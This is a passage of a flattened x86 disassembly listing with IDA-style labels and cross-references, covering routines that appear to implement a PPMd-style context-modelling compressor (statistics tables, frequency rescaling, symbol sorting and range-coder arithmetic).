sub_9B17CA+94j pop esi pop ebx leave retn sub_9B17CA endp ; =============== S U B R O U T I N E ======================================= sub_9B192C proc near ; CODE XREF: sub_9B24A5+22j ; sub_9B24CC+D9p push edi mov edi, ecx mov byte ptr [edi+4C88h], 1 mov [edi+87Ch], eax call sub_9B17CA test eax, eax jnz short loc_9B1947 pop edi retn ; --------------------------------------------------------------------------- loc_9B1947: ; CODE XREF: sub_9B192C+17j push 9 ; Size lea eax, [edi+0A8Ah] push 4 ; Val push eax ; Dst mov byte ptr [edi+0A88h], 0 mov byte ptr [edi+0A89h], 2 call memset push 0F5h ; Size lea eax, [edi+0A93h] push 6 ; Val push eax ; Dst call memset add esp, 18h xor eax, eax loc_9B197D: ; CODE XREF: sub_9B192C+5Cj mov [edi+eax+988h], al inc eax cmp eax, 3 jl short loc_9B197D push ebx push esi xor esi, esi inc esi mov edx, eax mov ebx, esi mov ecx, 100h jmp short loc_9B19A9 ; --------------------------------------------------------------------------- loc_9B199A: ; CODE XREF: sub_9B192C+7Fj dec esi mov [edi+eax+988h], dl jnz short loc_9B19A8 inc ebx mov esi, ebx inc edx loc_9B19A8: ; CODE XREF: sub_9B192C+76j inc eax loc_9B19A9: ; CODE XREF: sub_9B192C+6Cj cmp eax, ecx jl short loc_9B199A push 40h ; Size lea eax, [edi+0B88h] push 0 ; Val push eax ; Dst call memset push 0C0h ; Size lea eax, [edi+0BC8h] push 8 ; Val push eax ; Dst call memset add esp, 18h pop esi xor eax, eax pop ebx mov byte ptr [edi+64Eh], 7 inc eax pop edi retn sub_9B192C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B19E1 proc near ; CODE XREF: sub_9B1A07+26p ; sub_9B1D29+4Cp ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, [ebp+arg_0] push edi lea edi, [ebp+var_8] movsd movsw mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] movsd movsw mov edi, [ebp+arg_4] lea esi, [ebp+var_8] movsd movsw pop edi pop esi leave retn sub_9B19E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B1A07 proc near ; CODE XREF: sub_9B1FE8+79p ; sub_9B1FE8+EDp ... var_20 = byte ptr -20h var_1B = byte ptr -1Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h movzx ecx, word ptr [eax+0Ah] mov [ebp+var_18], ecx dec ecx push ebx mov [ebp+var_8], ecx mov ecx, [ebp+arg_0] mov ecx, [ecx] push esi lea edx, [eax+4] push edi mov [ebp+var_4], edx jmp short loc_9B1A37 ; --------------------------------------------------------------------------- loc_9B1A28: ; CODE XREF: sub_9B1A07+32j lea esi, [ecx-6] push esi push ecx call sub_9B19E1 add esp, 8 mov ecx, esi loc_9B1A37: ; CODE XREF: sub_9B1A07+1Fj cmp ecx, [edx] jnz short loc_9B1A28 mov edx, [edx] add byte ptr [edx+5], 4 add word ptr [eax+8], 4 mov dx, [eax+8] movzx esi, byte ptr [ecx+5] movzx ebx, dx xor edx, edx sub ebx, esi mov esi, [ebp+arg_0] cmp [esi+878h], edx setnz dl mov [ebp+var_14], edx movzx edx, byte ptr [ecx+5] add edx, [ebp+var_14] sar edx, 1 mov [ecx+5], dl movzx dx, dl mov [eax+8], dx loc_9B1A78: ; CODE XREF: sub_9B1A07+CEj movzx edx, byte ptr [ecx+0Bh] mov esi, [ebp+var_14] add ecx, 6 sub ebx, edx mov [ebp+var_C], edx add edx, esi sar edx, 1 mov [ecx+5], dl movzx dx, dl add [eax+8], dx mov dl, [ecx+5] cmp dl, [ecx-1] jbe short loc_9B1AD2 mov esi, ecx lea edi, [ebp+var_20] movsd mov edx, ecx movsw loc_9B1AA8: ; CODE XREF: sub_9B1A07+C1j lea esi, [edx-6] mov edi, edx movsd movsw mov esi, [ebp+var_4] sub edx, 6 cmp edx, [esi] mov [ebp+var_C], edx jz short loc_9B1ACA mov dl, [ebp+var_1B] mov esi, [ebp+var_C] cmp dl, [esi-1] mov edx, esi ja short loc_9B1AA8 loc_9B1ACA: ; CODE XREF: sub_9B1A07+B4j lea esi, [ebp+var_20] mov edi, edx movsd movsw loc_9B1AD2: ; CODE XREF: sub_9B1A07+95j dec [ebp+var_8] jnz short loc_9B1A78 add ecx, 5 cmp byte ptr [ecx], 0 jnz short loc_9B1B47 loc_9B1ADF: ; CODE XREF: sub_9B1A07+E1j inc [ebp+var_8] sub ecx, 6 cmp byte ptr [ecx], 0 jz short loc_9B1ADF mov ecx, [ebp+var_8] sub [eax+0Ah], cx add ebx, ecx mov cx, [eax+0Ah] cmp cx, 1 jnz short loc_9B1B47 mov eax, [ebp+var_4] mov edx, [eax] mov esi, edx lea edi, [ebp+var_14] movsd movsw loc_9B1B0A: ; CODE XREF: sub_9B1A07+110j mov al, [ebp+var_F] shr al, 1 sub [ebp+var_F], al sar ebx, 1 cmp ebx, 1 jg short loc_9B1B0A mov eax, [ebp+var_18] mov ecx, [ebp+arg_0] mov edi, [ebp+var_4] inc eax sar eax, 1 movsx eax, word ptr [ecx+eax*2+756h] lea eax, [ecx+eax*4+674h] mov esi, [eax] mov [edx], esi mov [eax], edx mov [ecx], edi lea esi, [ebp+var_14] movsd movsw jmp loc_9B1BD4 ; --------------------------------------------------------------------------- loc_9B1B47: ; CODE XREF: sub_9B1A07+D6j ; sub_9B1A07+F4j mov ecx, ebx sar ecx, 1 sub ebx, ecx add [eax+8], bx mov ecx, [ebp+var_18] movzx eax, word ptr [eax+0Ah] inc ecx sar ecx, 1 inc eax sar eax, 1 cmp ecx, eax jz short loc_9B1BCA mov edx, [ebp+var_4] mov esi, [ebp+arg_0] mov edi, [edx] movsx ecx, word ptr [esi+ecx*2+756h] movsx edx, word ptr [esi+eax*2+756h] add esi, 654h cmp ecx, edx mov [ebp+var_18], ecx jz short loc_9B1BC5 lea ecx, [esi+edx*4+20h] mov ebx, [ecx] test ebx, ebx jz short loc_9B1BB7 mov edx, [ebx] lea eax, [eax+eax*2] shl eax, 2 push eax ; Size push edi ; Src push ebx ; Dst mov [ecx], edx call memcpy mov eax, [ebp+var_18] lea eax, [esi+eax*4+20h] mov ecx, [eax] mov [edi], ecx mov [eax], edi add esp, 0Ch mov edi, ebx jmp short loc_9B1BC5 ; --------------------------------------------------------------------------- loc_9B1BB7: ; CODE XREF: sub_9B1A07+188j mov ecx, edx mov edx, [ebp+var_18] push edi mov eax, esi call sub_9B1363 pop ecx loc_9B1BC5: ; CODE XREF: sub_9B1A07+17Ej ; sub_9B1A07+1AEj mov eax, [ebp+var_4] mov [eax], edi loc_9B1BCA: ; CODE XREF: sub_9B1A07+159j mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+arg_0] mov [ecx], eax loc_9B1BD4: ; CODE XREF: sub_9B1A07+13Bj pop edi pop esi pop ebx leave retn sub_9B1A07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B1BD9 proc near ; CODE XREF: sub_9B1D29+89p ; sub_9B1D29+E6p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10Ch push ebx push esi mov esi, eax mov eax, [esi] mov ebx, [esi+4] xor edx, edx cmp [ebp+arg_0], edx lea ecx, [ebp+var_10C] push edi mov edi, [eax] mov [ebp+var_4], ecx jnz short loc_9B1C11 cmp [ebx], edx mov [ebp+var_10C], eax lea eax, [ebp+var_108] mov [ebp+var_4], eax jz short loc_9B1C64 loc_9B1C11: ; CODE XREF: sub_9B1BD9+23j cmp [ebp+arg_4], edx jz short loc_9B1C1D mov eax, [ebp+arg_4] mov ebx, [ebx] jmp short loc_9B1C3D ; --------------------------------------------------------------------------- loc_9B1C1D: ; CODE XREF: sub_9B1BD9+3Bj ; sub_9B1BD9+73j mov ebx, [ebx] cmp word ptr [ebx+0Ah], 1 jz short loc_9B1C3A mov ecx, [esi] mov eax, [ebx+4] mov cl, [ecx+4] jmp short loc_9B1C33 ; --------------------------------------------------------------------------- loc_9B1C30: ; CODE XREF: sub_9B1BD9+5Dj add eax, 6 loc_9B1C33: ; CODE XREF: sub_9B1BD9+55j cmp [eax+4], cl jnz short loc_9B1C30 jmp short loc_9B1C3D ; --------------------------------------------------------------------------- loc_9B1C3A: ; CODE XREF: sub_9B1BD9+4Bj lea eax, [ebx+4] loc_9B1C3D: ; CODE XREF: sub_9B1BD9+42j ; sub_9B1BD9+5Fj cmp [eax], edi jnz short loc_9B1C50 mov ecx, [ebp+var_4] add [ebp+var_4], 4 cmp [ebx], edx mov [ecx], eax jnz short loc_9B1C1D jmp short loc_9B1C52 ; --------------------------------------------------------------------------- loc_9B1C50: ; CODE XREF: sub_9B1BD9+66j mov ebx, [eax] loc_9B1C52: ; CODE XREF: sub_9B1BD9+75j lea eax, [ebp+var_10C] cmp [ebp+var_4], eax jnz short loc_9B1C64 mov eax, ebx jmp loc_9B1D24 ; --------------------------------------------------------------------------- loc_9B1C64: ; CODE XREF: sub_9B1BD9+36j ; sub_9B1BD9+82j mov cl, [edi] mov dx, [ebx+0Ah] inc edi cmp dx, 1 mov [ebp+var_8], cl mov [ebp+var_C], edi jz short loc_9B1CD8 cmp ebx, [esi+654h] jbe loc_9B1D22 mov eax, [ebx+4] cmp [eax+4], cl jz short loc_9B1CA1 mov edi, [esi+65Ch] loc_9B1C91: ; CODE XREF: sub_9B1BD9+C6j add eax, 6 cmp eax, edi ja loc_9B1D22 cmp [eax+4], cl jnz short loc_9B1C91 loc_9B1CA1: ; CODE XREF: sub_9B1BD9+B0j movzx eax, byte ptr [eax+5] movzx ecx, word ptr [ebx+8] movzx edx, dx dec eax sub ecx, edx sub ecx, eax lea edx, [eax+eax] cmp edx, ecx ja short loc_9B1CC3 lea eax, [eax+eax*4] cmp ecx, eax sbb eax, eax neg eax jmp short loc_9B1CD4 ; --------------------------------------------------------------------------- loc_9B1CC3: ; CODE XREF: sub_9B1BD9+DDj lea edi, [ecx+55555555h] lea eax, [edx+edi*2] add eax, edi add ecx, ecx xor edx, edx div ecx loc_9B1CD4: ; CODE XREF: sub_9B1BD9+E8j inc al jmp short loc_9B1CDB ; --------------------------------------------------------------------------- loc_9B1CD8: ; CODE XREF: sub_9B1BD9+9Cj mov al, [ebx+9] loc_9B1CDB: ; CODE XREF: sub_9B1BD9+FDj add esi, 654h mov [ebp+var_7], al mov [ebp+arg_0], esi loc_9B1CE7: ; CODE XREF: sub_9B1BD9+145j mov eax, [ebp+arg_0] sub [ebp+var_4], 4 call sub_9B1748 test eax, eax jz short loc_9B1D0F mov ecx, [ebp+var_4] mov ecx, [ecx] lea edi, [eax+4] lea esi, [ebp+var_C] movsd mov word ptr [eax+0Ah], 1 movsw mov [eax], ebx mov [ecx], eax loc_9B1D0F: ; CODE XREF: sub_9B1BD9+11Cj test eax, eax mov ebx, eax jz short loc_9B1D22 lea ecx, [ebp+var_10C] cmp [ebp+var_4], ecx jnz short loc_9B1CE7 jmp short loc_9B1D24 ; --------------------------------------------------------------------------- loc_9B1D22: ; CODE XREF: sub_9B1BD9+A4j ; sub_9B1BD9+BDj ... xor eax, eax loc_9B1D24: ; CODE XREF: sub_9B1BD9+86j ; sub_9B1BD9+147j pop edi pop esi pop ebx leave retn sub_9B1BD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B1D29 proc near ; CODE XREF: sub_9B25BF+13Dp var_24 = dword ptr -24h var_20 = word ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] push esi mov esi, [ebx] push edi lea edi, [ebp+var_24] movsd movsw mov dx, [ebp+var_20] xor edi, edi cmp dh, 1Fh jnb short loc_9B1DA4 mov eax, [ebx+4] mov eax, [eax] test eax, eax jz short loc_9B1DA4 cmp word ptr [eax+0Ah], 1 jz short loc_9B1D94 mov edi, [eax+4] cmp [edi+4], dl jz short loc_9B1D7F loc_9B1D60: ; CODE XREF: sub_9B1D29+3Dj add edi, 6 cmp [edi+4], dl jnz short loc_9B1D60 mov cl, [edi+5] cmp cl, [edi-1] jb short loc_9B1D7F lea ecx, [edi-6] push ecx push edi call sub_9B19E1 add esp, 8 mov edi, ecx loc_9B1D7F: ; CODE XREF: sub_9B1D29+35j ; sub_9B1D29+45j mov cl, [edi+5] cmp cl, 73h jnb short loc_9B1DA4 add cl, 2 mov [edi+5], cl add word ptr [eax+8], 2 jmp short loc_9B1DA4 ; --------------------------------------------------------------------------- loc_9B1D94: ; CODE XREF: sub_9B1D29+2Dj lea edi, [eax+4] mov al, [edi+5] cmp al, 20h setb cl add cl, al mov [edi+5], cl loc_9B1DA4: ; CODE XREF: sub_9B1D29+1Dj ; sub_9B1D29+26j ... cmp dword ptr [ebx+878h], 0 jnz short loc_9B1DE3 push edi push 1 mov eax, ebx call sub_9B1BD9 pop ecx pop ecx mov ecx, [ebx] mov [ecx], eax mov eax, [ebx] mov eax, [eax] test eax, eax mov [ebx+8], eax mov [ebx+4], eax jnz loc_9B1E77 loc_9B1DCF: ; CODE XREF: sub_9B1D29+D4j ; sub_9B1D29+F2j ... mov edi, ebx call sub_9B17CA test eax, eax jnz loc_9B1FDC jmp loc_9B1E7A ; --------------------------------------------------------------------------- loc_9B1DE3: ; CODE XREF: sub_9B1D29+82j lea esi, [ebx+654h] mov eax, [esi] mov [eax], dl inc dword ptr [esi] mov eax, [esi] cmp eax, [ebx+660h] mov [ebp+var_C], esi mov [ebp+var_14], eax jnb short loc_9B1DCF cmp [ebp+var_24], 0 jz short loc_9B1E3E cmp [ebp+var_24], eax ja short loc_9B1E21 push edi push 0 mov eax, ebx call sub_9B1BD9 test eax, eax pop ecx pop ecx mov [ebp+var_24], eax jz short loc_9B1DCF mov dx, [ebp+var_20] loc_9B1E21: ; CODE XREF: sub_9B1D29+DFj dec dword ptr [ebx+878h] jnz short loc_9B1E48 mov eax, [ebp+var_24] mov [ebp+var_14], eax mov eax, [ebx+8] xor ecx, ecx cmp eax, [ebx+4] setnz cl sub [esi], ecx jmp short loc_9B1E48 ; --------------------------------------------------------------------------- loc_9B1E3E: ; CODE XREF: sub_9B1D29+DAj mov ecx, [ebx] mov [ecx], eax mov eax, [ebx+4] mov [ebp+var_24], eax loc_9B1E48: ; CODE XREF: sub_9B1D29+FEj ; sub_9B1D29+113j mov ecx, [ebx+4] movzx edi, word ptr [ecx+0Ah] movzx eax, word ptr [ecx+8] movzx edx, dh sub eax, edx sub eax, edi mov [ebp+var_8], edi mov edi, [ebx+8] inc eax cmp edi, ecx mov [ebp+var_18], edx mov [ebp+var_1C], eax mov [ebp+var_4], edi jnz short loc_9B1E85 loc_9B1E6E: ; CODE XREF: sub_9B1D29+2AEj mov eax, [ebp+var_24] mov [ebx+4], eax mov [ebx+8], eax loc_9B1E77: ; CODE XREF: sub_9B1D29+A0j ; sub_9B1D29+2BAj xor eax, eax inc eax loc_9B1E7A: ; CODE XREF: sub_9B1D29+B5j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_9B1E7F: ; CODE XREF: sub_9B1D29+2A8j mov edi, [ebp+var_4] mov esi, [ebp+var_C] loc_9B1E85: ; CODE XREF: sub_9B1D29+143j movzx edx, word ptr [edi+0Ah] xor eax, eax inc eax cmp edx, eax mov [ebp+var_10], edx jz short loc_9B1EEF test al, dl jnz short loc_9B1EBC mov ebx, [edi+4] mov edi, [ebp+var_C] mov esi, edx shr esi, 1 call sub_9B1776 test eax, eax mov ecx, [ebp+var_4] mov ebx, [ebp+arg_0] mov [ecx+4], eax jz loc_9B1DCF mov edx, [ebp+var_10] mov edi, ecx loc_9B1EBC: ; CODE XREF: sub_9B1D29+16Cj mov ax, [edi+8] movzx esi, ax mov ecx, edx shl ecx, 3 cmp ecx, esi sbb ecx, ecx inc ecx mov esi, edx shl esi, 2 cmp [ebp+var_8], esi sbb esi, esi inc esi and ecx, esi lea esi, [edx+edx] cmp esi, [ebp+var_8] sbb esi, esi neg esi add esi, eax lea eax, [esi+ecx*2] mov [edi+8], ax jmp short loc_9B1F41 ; --------------------------------------------------------------------------- loc_9B1EEF: ; CODE XREF: sub_9B1D29+168j mov ecx, esi call sub_9B16FB test eax, eax jz loc_9B1DCF lea ecx, [edi+4] mov esi, ecx mov edi, eax movsd movsw mov [ecx], eax mov cl, [eax+5] cmp cl, 1Eh jnb short loc_9B1F19 shl cl, 1 mov [eax+5], cl jmp short loc_9B1F1D ; --------------------------------------------------------------------------- loc_9B1F19: ; CODE XREF: sub_9B1D29+1E7j mov byte ptr [eax+5], 78h loc_9B1F1D: ; CODE XREF: sub_9B1D29+1EEj movzx ax, byte ptr [eax+5] mov edx, [ebp+var_10] push 3 pop ecx cmp ecx, [ebp+var_8] sbb ecx, ecx neg ecx add cx, [ebx+874h] add ecx, eax mov eax, [ebp+var_4] mov [eax+8], cx mov edi, eax loc_9B1F41: ; CODE XREF: sub_9B1D29+1C4j movzx eax, word ptr [edi+8] mov esi, [ebp+var_1C] lea ecx, [eax+6] imul ecx, [ebp+var_18] add eax, esi lea esi, [eax+eax*2] shl ecx, 1 shl esi, 1 cmp ecx, esi mov [ebp+var_10], ecx mov esi, eax jnb short loc_9B1F7E shl esi, 2 cmp ecx, esi sbb esi, esi inc esi cmp eax, ecx sbb eax, eax xor ecx, ecx mov cx, [edi+8] neg eax lea eax, [esi+eax+1] add ecx, 3 jmp short loc_9B1FA9 ; --------------------------------------------------------------------------- loc_9B1F7E: ; CODE XREF: sub_9B1D29+236j imul esi, 0Fh cmp ecx, esi sbb ecx, ecx inc ecx lea esi, [eax+eax*2] shl esi, 2 cmp [ebp+var_10], esi lea eax, [eax+eax*8] sbb esi, esi inc esi add ecx, esi cmp [ebp+var_10], eax sbb eax, eax inc eax lea eax, [ecx+eax+4] xor ecx, ecx mov cx, [edi+8] add ecx, eax loc_9B1FA9: ; CODE XREF: sub_9B1D29+253j mov esi, [edi+4] mov [edi+8], cx lea ecx, [edx+edx*2] lea esi, [esi+ecx*2] mov ecx, [ebp+var_14] mov [esi], ecx mov cl, byte ptr [ebp+var_20] mov [esi+4], cl mov [esi+5], al inc edx mov [edi+0Ah], dx mov edi, [edi] cmp edi, [ebx+4] mov [ebp+var_4], edi jnz loc_9B1E7F jmp loc_9B1E6E ; --------------------------------------------------------------------------- loc_9B1FDC: ; CODE XREF: sub_9B1D29+AFj mov byte ptr [ebx+4C88h], 0 jmp loc_9B1E77 sub_9B1D29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B1FE8 proc near ; CODE XREF: sub_9B25BF+34p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx movzx eax, word ptr [edi+8] mov [esi+870h], eax push ebx lea ebx, [esi+85Ch] mov eax, [ebx+8] xor edx, edx div dword ptr [ebx+14h] mov ecx, [edi+4] xor edx, edx mov [ebp+var_4], eax mov [ebx+8], eax mov eax, [ebx+4] sub eax, [ebx] div [ebp+var_4] mov [ebp+var_4], eax mov eax, [esi+870h] cmp [ebp+var_4], eax jnb short loc_9B2075 movzx edx, byte ptr [ecx+5] cmp [ebp+var_4], edx jge short loc_9B2070 lea ebx, [edx+edx] cmp ebx, eax setnbe al mov [esi+4C89h], al mov [esi+86Ch], edx movzx eax, al add [esi+880h], eax add edx, 4 mov [esi], ecx mov [ecx+5], dl add word ptr [edi+8], 4 cmp edx, 7Ch jle short loc_9B2067 push esi mov eax, edi call sub_9B1A07 pop ecx loc_9B2067: ; CODE XREF: sub_9B1FE8+74j and dword ptr [esi+868h], 0 jmp short loc_9B20DB ; --------------------------------------------------------------------------- loc_9B2070: ; CODE XREF: sub_9B1FE8+45j cmp dword ptr [esi], 0 jnz short loc_9B2079 loc_9B2075: ; CODE XREF: sub_9B1FE8+3Cj xor eax, eax jmp short loc_9B20DE ; --------------------------------------------------------------------------- loc_9B2079: ; CODE XREF: sub_9B1FE8+8Bj mov byte ptr [esi+4C89h], 0 movzx ebx, word ptr [edi+0Ah] dec ebx jmp short loc_9B208A ; --------------------------------------------------------------------------- loc_9B2087: ; CODE XREF: sub_9B1FE8+AEj dec ebx jz short loc_9B20E1 loc_9B208A: ; CODE XREF: sub_9B1FE8+9Dj movzx eax, byte ptr [ecx+0Bh] add ecx, 6 add edx, eax cmp edx, [ebp+var_4] jle short loc_9B2087 mov [esi+86Ch], edx movzx eax, byte ptr [ecx+5] sub edx, eax mov [esi+868h], edx mov [esi], ecx add byte ptr [ecx+5], 4 add word ptr [edi+8], 4 mov al, [ecx+5] cmp al, [ecx-1] jbe short loc_9B20DB lea eax, [ecx-6] push eax push ecx call sub_9B19E1 add esp, 8 mov [esi], eax cmp byte ptr [eax+5], 7Ch jbe short loc_9B20DB push esi mov eax, edi call sub_9B1A07 pop ecx loc_9B20DB: ; CODE XREF: sub_9B1FE8+86j ; sub_9B1FE8+D3j ... xor eax, eax inc eax loc_9B20DE: ; CODE XREF: sub_9B1FE8+8Fj pop ebx leave retn ; --------------------------------------------------------------------------- loc_9B20E1: ; CODE XREF: sub_9B1FE8+A0j mov eax, [esi] movzx eax, byte ptr [eax+4] mov al, [eax+esi+0B88h] mov [esi+4C8Ah], al mov [esi+868h], edx mov dl, [esi+4C88h] add ecx, 4 movzx eax, byte ptr [ecx] mov [eax+esi+888h], dl movzx eax, word ptr [edi+0Ah] mov [esi+650h], eax dec eax and dword ptr [esi], 0 loc_9B211B: ; CODE XREF: sub_9B1FE8+147j mov bl, [esi+4C88h] sub ecx, 6 dec eax movzx edx, byte ptr [ecx] mov [edx+esi+888h], bl jnz short loc_9B211B mov eax, [esi+870h] mov [esi+86Ch], eax jmp short loc_9B20DB sub_9B1FE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B213F proc near ; CODE XREF: sub_9B25BF+47p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, [ecx] movzx eax, byte ptr [eax+4] mov al, [eax+ecx+0B88h] mov [ecx+4C8Ah], al push ebx push esi push edi lea edi, [edx+4] mov edx, [edx] movzx edx, word ptr [edx+0Ah] movzx edx, byte ptr [edx+ecx+0A87h] movzx esi, byte ptr [edi+4] movzx esi, byte ptr [esi+ecx+0B88h] movzx ebx, byte ptr [edi+5] shl ebx, 5 add esi, ebx lea edx, [edx+esi*2+604h] mov esi, [ecx+880h] sar esi, 1Ah and esi, 20h add edx, esi movzx esi, byte ptr [ecx+4C89h] add edx, esi movzx eax, al add edx, eax lea esi, [ecx+edx*2] lea edx, [ecx+85Ch] shr dword ptr [edx+8], 0Eh movzx eax, word ptr [esi] mov ebx, [edx+8] mov [ebp+var_4], eax mov eax, [edx+4] sub eax, [edx] xor edx, edx div ebx mov edx, [ebp+var_4] cmp eax, edx jnb short loc_9B220E mov [ecx], edi mov al, [edi+5] cmp al, 80h setb dl add dl, al mov [edi+5], dl and dword ptr [ecx+868h], 0 movzx eax, word ptr [esi] mov [ecx+86Ch], eax xor eax, eax mov ax, [esi] movzx edx, ax add edx, 20h sar edx, 7 sub eax, edx add eax, 80h mov [esi], ax inc dword ptr [ecx+880h] mov byte ptr [ecx+4C89h], 1 jmp short loc_9B2269 ; --------------------------------------------------------------------------- loc_9B220E: ; CODE XREF: sub_9B213F+87j mov [ecx+868h], edx xor eax, eax mov ax, [esi] movzx edx, ax add edx, 20h sar edx, 7 sub eax, edx mov [esi], ax mov dl, [ecx+4C88h] mov dword ptr [ecx+86Ch], 4000h movzx eax, word ptr [esi] shr eax, 0Ah movzx eax, ds:byte_9A6AD4[eax] mov [ecx+874h], eax mov dword ptr [ecx+650h], 1 movzx eax, byte ptr [edi+4] mov [eax+ecx+888h], dl and dword ptr [ecx], 0 mov byte ptr [ecx+4C89h], 0 loc_9B2269: ; CODE XREF: sub_9B213F+CDj pop edi pop esi pop ebx leave retn sub_9B213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B226E proc near ; CODE XREF: sub_9B2309+19p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov cx, [eax+0Ah] cmp cx, 100h push esi mov esi, [ebp+arg_0] jz short loc_9B22F6 push ebx xor ebx, ebx cmp [edx+650h], esi push edi setnle bl movzx edi, cx movzx ecx, byte ptr [edx+esi+987h] movzx esi, word ptr [eax+8] mov eax, [eax] movzx eax, word ptr [eax+0Ah] mov [ebp+var_4], edi imul edi, 0Bh lea ecx, [ebx+ecx*4] xor ebx, ebx cmp esi, edi setl bl sub eax, [ebp+var_4] lea ecx, [ebx+ecx*2] xor ebx, ebx cmp [ebp+arg_0], eax setl bl xor esi, esi lea eax, [ebx+ecx*2] movzx ecx, byte ptr [edx+4C8Ah] add eax, ecx lea eax, [edx+eax*4+0Ch] mov si, [eax] mov cl, [eax+2] movzx edi, si shr edi, cl xor ecx, ecx sub esi, edi test edi, edi setz cl mov [eax], si add ecx, edi pop edi mov [edx+870h], ecx pop ebx jmp short loc_9B2306 ; --------------------------------------------------------------------------- loc_9B22F6: ; CODE XREF: sub_9B226E+11j lea eax, [edx+64Ch] mov dword ptr [edx+870h], 1 loc_9B2306: ; CODE XREF: sub_9B226E+86j pop esi leave retn sub_9B226E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B2309 proc near ; CODE XREF: sub_9B25BF+132p var_410 = dword ptr -410h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 410h push edi movzx edi, word ptr [ebx+0Ah] sub edi, [esi+650h] mov eax, ebx push edi mov edx, esi call sub_9B226E mov [ebp+var_C], eax lea eax, [ebp+var_410] mov [ebp+var_10], eax mov eax, [ebx+4] sub eax, 6 and [ebp+var_4], 0 pop ecx loc_9B233E: ; CODE XREF: sub_9B2309+49j ; sub_9B2309+5Cj movzx edx, byte ptr [eax+0Ah] mov cl, [esi+4C88h] add eax, 6 cmp [edx+esi+888h], cl jz short loc_9B233E movzx ecx, byte ptr [eax+5] add [ebp+var_4], ecx mov ecx, [ebp+var_10] add [ebp+var_10], 4 dec edi mov [ecx], eax jnz short loc_9B233E mov edi, [ebp+var_4] add [esi+870h], edi lea ecx, [esi+85Ch] mov eax, [ecx+8] xor edx, edx div dword ptr [ecx+14h] xor edx, edx mov [ebp+var_4], eax mov [ecx+8], eax mov eax, [ecx+4] sub eax, [ecx] mov ecx, [esi+870h] div [ebp+var_4] cmp eax, ecx mov [ebp+var_4], eax jb short loc_9B23A2 xor eax, eax jmp loc_9B2481 ; --------------------------------------------------------------------------- loc_9B23A2: ; CODE XREF: sub_9B2309+90j cmp [ebp+var_4], edi mov edx, [ebp+var_410] lea eax, [ebp+var_410] jge short loc_9B242F mov ecx, edx movzx ecx, byte ptr [ecx+5] jmp short loc_9B23C6 ; --------------------------------------------------------------------------- loc_9B23BB: ; CODE XREF: sub_9B2309+C0j add eax, 4 mov edx, [eax] movzx edi, byte ptr [edx+5] add ecx, edi loc_9B23C6: ; CODE XREF: sub_9B2309+B0j cmp ecx, [ebp+var_4] jle short loc_9B23BB mov edi, [ebp+var_C] mov [esi+86Ch], ecx movzx eax, byte ptr [edx+5] sub ecx, eax mov [esi+868h], ecx mov cl, [edi+2] cmp cl, 7 mov [ebp+var_5], cl jnb short loc_9B2401 dec byte ptr [edi+3] jnz short loc_9B2401 shl word ptr [edi], 1 mov al, 3 shl al, cl mov [edi+3], al mov al, cl inc al mov [edi+2], al loc_9B2401: ; CODE XREF: sub_9B2309+E0j ; sub_9B2309+E5j mov [esi], edx add byte ptr [edx+5], 4 add word ptr [ebx+8], 4 cmp byte ptr [edx+5], 7Ch jbe short loc_9B241B push esi mov eax, ebx call sub_9B1A07 pop ecx loc_9B241B: ; CODE XREF: sub_9B2309+107j mov eax, [esi+884h] inc byte ptr [esi+4C88h] mov [esi+880h], eax jmp short loc_9B247E ; --------------------------------------------------------------------------- loc_9B242F: ; CODE XREF: sub_9B2309+A8j mov [esi+868h], edi mov [esi+86Ch], ecx movzx edi, word ptr [ebx+0Ah] sub edi, [esi+650h] lea eax, [ebp+var_410] sub eax, 4 loc_9B244E: ; CODE XREF: sub_9B2309+15Cj mov dl, [esi+4C88h] add eax, 4 dec edi mov ecx, [eax] movzx ecx, byte ptr [ecx+4] mov [ecx+esi+888h], dl jnz short loc_9B244E mov eax, [ebp+var_C] mov cx, [esi+870h] add [eax], cx movzx eax, word ptr [ebx+0Ah] mov [esi+650h], eax loc_9B247E: ; CODE XREF: sub_9B2309+124j xor eax, eax inc eax loc_9B2481: ; CODE XREF: sub_9B2309+94j pop edi leave retn sub_9B2309 endp ; =============== S U B R O U T I N E ======================================= sub_9B2484 proc near ; CODE XREF: sub_9B0DF4+ABp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+670h], ecx mov [eax+4], ecx mov [eax+8], ecx retn sub_9B2484 endp ; =============== S U B R O U T I N E ======================================= sub_9B2497 proc near ; CODE XREF: sub_9B0DF4+E8p ; sub_9B1166+1Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 654h jmp sub_9B13C5 sub_9B2497 endp ; =============== S U B R O U T I N E ======================================= sub_9B24A5 